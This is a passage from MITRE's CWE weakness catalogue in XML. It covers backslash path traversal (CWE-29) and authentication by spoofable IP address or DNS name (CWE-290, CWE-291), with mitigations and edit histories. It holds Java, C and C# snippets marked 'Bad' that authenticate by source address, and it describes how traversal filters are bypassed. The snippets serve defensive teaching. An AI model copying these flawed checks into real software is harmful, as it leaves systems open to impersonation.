               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="29" Name="Path Traversal: '\..\filename'" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>
            <xhtml:p>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</xhtml:p>
            <xhtml:p>This is similar to CWE-25, except using "\" instead of "/". Sometimes a program checks for "..\" at the beginning of the input, so a "\..\" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="23" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Windows" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1987</Reference>
               <Description>Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1987</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2142</Reference>
               <Description>Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "\.." sequence in an LS command.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2142</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>'\..\filename' ('leading dot dot backslash')</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Leading Dot Dot Backslash - '\..\filename'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="290" Name="Authentication Bypass by Spoofing" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>This weakness can allow an attacker to access resources which are not otherwise accessible without proper authentication.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code authenticates users.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String sourceIP = request.getRemoteAddr();<xhtml:br/>if (sourceIP != null &amp;&amp; sourceIP.equals(APPROVED_IP)) {<xhtml:div style="margin-left:1em;">authenticated = true;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-99">
               <Intro_Text>Both of these examples check if a request is from a trusted address before responding to the request.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>sd = socket(AF_INET, SOCK_DGRAM, 0);<xhtml:br/>serv.sin_family = AF_INET;<xhtml:br/>serv.sin_addr.s_addr = htonl(INADDR_ANY);<xhtml:br/>servr.sin_port = htons(1008);<xhtml:br/>bind(sd, (struct sockaddr *) &amp; serv, sizeof(serv));<xhtml:br/>
                     <xhtml:br/>while (1) {<xhtml:div style="margin-left:1em;">memset(msg, 0x0, MAX_MSG);<xhtml:br/>clilen = sizeof(cli);<xhtml:br/>if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {<xhtml:div style="margin-left:1em;">n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) &amp; cli, &amp;clilen);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>while(true) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>DatagramPacket rp=new DatagramPacket(rData,rData.length);<xhtml:br/>outSock.receive(rp);<xhtml:br/>String in = new String(p.getData(),0, rp.getLength());<xhtml:br/>InetAddress clientIPAddress = rp.getAddress();<xhtml:br/>int port = rp.getPort();<xhtml:br/>
                           <xhtml:br/>if (isTrustedAddress(clientIPAddress) &amp; secretKey.equals(in)) {<xhtml:div style="margin-left:1em;">out = secret.getBytes();<xhtml:br/>DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-93">
               <Intro_Text>The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>struct hostent *hp;struct in_addr myaddr;<xhtml:br/>char* tHost = "trustme.example.com";<xhtml:br/>myaddr.s_addr=inet_addr(ip_addr_string);<xhtml:br/>
                     <xhtml:br/>hp = gethostbyaddr((char *) &amp;myaddr, sizeof(struct in_addr), AF_INET);<xhtml:br/>if (hp &amp;&amp; !strncmp(hp-&gt;h_name, tHost, sizeof(tHost))) {<xhtml:div style="margin-left:1em;">trusted = true;</xhtml:div>} else {<xhtml:div style="margin-left:1em;">trusted = false;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String ip = request.getRemoteAddr();<xhtml:br/>InetAddress addr = InetAddress.getByName(ip);<xhtml:br/>if (addr.getCanonicalHostName().endsWith("trustme.com")) {<xhtml:div style="margin-left:1em;">trusted = true;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);<xhtml:br/>IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);<xhtml:br/>if (hostInfo.HostName.EndsWith("trustme.com")) {<xhtml:div style="margin-left:1em;">trusted = true;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-1048</Reference>
               <Description>VOIP product allows authentication bypass using 127.0.0.1 in the Host header.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1048</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Authentication bypass by spoofing</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="21"/>
            <Related_Attack_Pattern CAPEC_ID="22"/>
            <Related_Attack_Pattern CAPEC_ID="459"/>
            <Related_Attack_Pattern CAPEC_ID="461"/>
            <Related_Attack_Pattern CAPEC_ID="473"/>
            <Related_Attack_Pattern CAPEC_ID="476"/>
            <Related_Attack_Pattern CAPEC_ID="59"/>
            <Related_Attack_Pattern CAPEC_ID="60"/>
            <Related_Attack_Pattern CAPEC_ID="667"/>
            <Related_Attack_Pattern CAPEC_ID="94"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 3, &#34;Spoofing and Identification&#34;, Page 72"/>
         </References>
         <Notes>
            <Note Type="Relationship">This can be resultant from insufficient verification.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Modes_of_Introduction, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="291" Name="Reliance on IP Address for Authentication" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses an IP address for authentication.</Description>
         <Extended_Description>IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="290" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="923" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="471" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Malicious users can fake authentication information, impersonating any IP address.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-99">
               <Intro_Text>Both of these examples check if a request is from a trusted address before responding to the request.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>sd = socket(AF_INET, SOCK_DGRAM, 0);<xhtml:br/>serv.sin_family = AF_INET;<xhtml:br/>serv.sin_addr.s_addr = htonl(INADDR_ANY);<xhtml:br/>servr.sin_port = htons(1008);<xhtml:br/>bind(sd, (struct sockaddr *) &amp; serv, sizeof(serv));<xhtml:br/>
                     <xhtml:br/>while (1) {<xhtml:div style="margin-left:1em;">memset(msg, 0x0, MAX_MSG);<xhtml:br/>clilen = sizeof(cli);<xhtml:br/>if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {<xhtml:div style="margin-left:1em;">n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) &amp; cli, &amp;clilen);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>while(true) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>DatagramPacket rp=new DatagramPacket(rData,rData.length);<xhtml:br/>outSock.receive(rp);<xhtml:br/>String in = new String(p.getData(),0, rp.getLength());<xhtml:br/>InetAddress clientIPAddress = rp.getAddress();<xhtml:br/>int port = rp.getPort();<xhtml:br/>
                           <xhtml:br/>if (isTrustedAddress(clientIPAddress) &amp; secretKey.equals(in)) {<xhtml:div style="margin-left:1em;">out = secret.getBytes();<xhtml:br/>DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Trusting self-reported IP address</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="4"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-06-23</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Changed type from composite to weakness.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2013-07-17">Trusting Self-reported IP Address</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="292" Name="DEPRECATED: Trusting Self-reported DNS Name" Abstraction="Variant" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
